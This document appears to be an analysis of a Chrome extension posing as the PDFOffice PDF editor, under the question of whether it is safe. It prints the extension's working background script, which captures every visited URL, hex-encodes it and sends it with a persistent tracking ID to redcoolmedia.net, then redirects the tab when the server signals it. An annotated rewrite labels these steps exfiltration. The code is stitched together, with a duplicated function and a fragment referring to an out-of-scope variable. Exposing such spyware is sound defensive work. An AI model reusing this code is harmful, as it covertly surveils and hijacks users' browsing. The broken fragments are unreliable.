Is PDF editor PDFOffice to edit and create PDF safe?

function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                aati = activeInfo.tabId;
                xdii(aati);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    xdii(tabId);
        });
     
    };
}

async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
       
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/pdfofficeu.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }            
    
}

function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}

// Module-load path: also stores ID in chrome.storage.sync for cross-device persistence
if (chrome.storage.sync.get('usernameredcool', function(obj) {})) {
    // NOTE: this branch always fires (sync.get returns a Promise, which is truthy)
    // but the callback is never awaited here — sync ID generation falls through to
    // the exx() path in practice
    usernameredcool = chrome.storage.sync.get('usernameredcool', function(obj) {});
} else {
    usernameredcool = randomString(10).toLowerCase();
    chrome.storage.sync.set({ 'usernameredcool': usernameredcool }, function() {});
}

// exx() path (lines 71-89): authoritative ID generation and local storage
if (redxda.usernameredcool) {
    usernameredcool = redxda.usernameredcool;   // reuse stored ID
} else {
    usernameredcool = randomString(10).toLowerCase();  // generate new ID
    redxda.usernameredcool = usernameredcool;
}
// ... (ID then written back to chrome.storage.local and sent as u= in fetch)

async function exx(urly) {
    // Read or generate persistent user ID from chrome.storage.local
    const redcool_key = "redcool_key";
    let storageResult = await chrome.storage.local.get([redcool_key]);
    let redxda = (redcool_key in storageResult) ? storageResult[redcool_key] : { usernameredcool: null, redcoolonline: null };

    // Generate ID on first run
    if (!redxda.usernameredcool) {
        redxda.usernameredcool = randomString(10).toLowerCase();
    }
    if (!redxda.redcoolonline) {
        redxda.redcoolonline = "1";
    }
    await chrome.storage.local.set({ [redcool_key]: redxda });

    // Kill-switch: if redcoolonline == "0" stop all exfil
    if (redxda.redcoolonline === "0") return;

    // Exfiltrate: hex-encode URL, send with persistent user ID
    let response = await fetch(
        'https://stream.redcoolmedia.net/api/pdfofficeu.php'
        + '?l=' + bin2hex(urly)   // visited URL, hex-encoded
        + '&hex=1'
        + '&u=' + redxda.usernameredcool  // persistent tracker ID
    );

    // Server-directed tab redirect
    if (response.status === 200) {
        let text = await response.text();
        if (text.indexOf("302") !== -1) {
            chrome.tabs.update(chrome.tabs.getCurrent().id,
                { url: 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + redxda.usernameredcool }
            );
        }
    }
}